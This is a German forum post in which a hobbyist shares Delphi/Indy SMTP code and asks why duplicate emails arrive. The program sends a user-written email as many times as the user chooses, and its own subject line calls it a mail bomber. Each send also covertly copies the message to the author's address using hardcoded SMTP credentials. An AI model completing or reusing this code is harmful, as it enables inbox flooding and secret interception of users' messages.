Also. Ich habe ein Mail Programm gemacht, das eine email verschickt, so wie es der benutzer wünscht , aber auch eine standartmäsig an eine andere. Es kann die email ,welche vom nutzer erstellt wurde, auf wunsch mehrmals verschicken, was auch funktioniert.
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: 30: 31: 32: 33: 34: 35: 36: 37: 38: 39: 40: 41: 42: 43: 44: 45: 46: 47: 48: 49: 50: 51: 52: 53: 54: 55: 56: 57: 58: 59: 60: 61: 62: 63: 64: 65: 66: 67: 68:
| procedure THHH.Button1Click(Sender: TObject); var i:integer; begin if messagedlg('Alle Angaben richtig?',mtwarning,[mbyes,mbNo],0) = mryes then begin try with SMTP do begin if Form2.at_login.Checked=true then AuthenticationType:=atLogin else AuthenticationType:=atNone; host:= server.Text; password:= pass.text; username:= nutzer.text; end; with Message do begin Body.Add(ein_text.Text); From.Text := von.text; Recipients.EMailAddresses := ziel.text; Subject := betreff.text; end; for i:=0 to wie_oft.Value do begin sleep(1000); SMTP.Connect; try sleep(1000); SMTP.Send(Message); finally SMTP.Disconnect; end; with Message do begin Body.Add(ein_text.Text); From.Text := 'irgendjemand@irgendwo.de'; Recipients.EMailAddresses := 'meineemail@meinanbieter.de'; Subject := 'MIT MAILBOMBER WURDE EINE BOMBE VERSCHICKT!'; end; with SMTP do begin if Form2.at_login.Checked=true then AuthenticationType:=atLogin else AuthenticationType:=atNone; host:= 'smtp.host.anbieter.de'; password:= 'früchtekuchen'; username:= 'Otto'; end; try SMTP.Connect; sleep(1000); SMTP.Send(Message); finally SMTP.Disconnect; end; end; messagedlg('Mail(s) ERFOLGREICH Versendet!',mtinformation,[mbok],0); except messagedlg('Es ist ein Fehler während dem Senden aufgetreten!',mterror,[mbok],0); end; end else sleep(1); end; |
So das Funktioniert auch wunderbar, doch ein problem habe ich dennoch.
Wenn man damit eine email versendet, kommt bei der ,standart festgelegten, emailadresse manchmal 2 oder 3 emails an. Alee zwar mit dem selben text , doch manchmal steht in einer von 3en auch der text 2 mal drinne. Was habe ich falsch gemacht?
Danke schon im vorraus
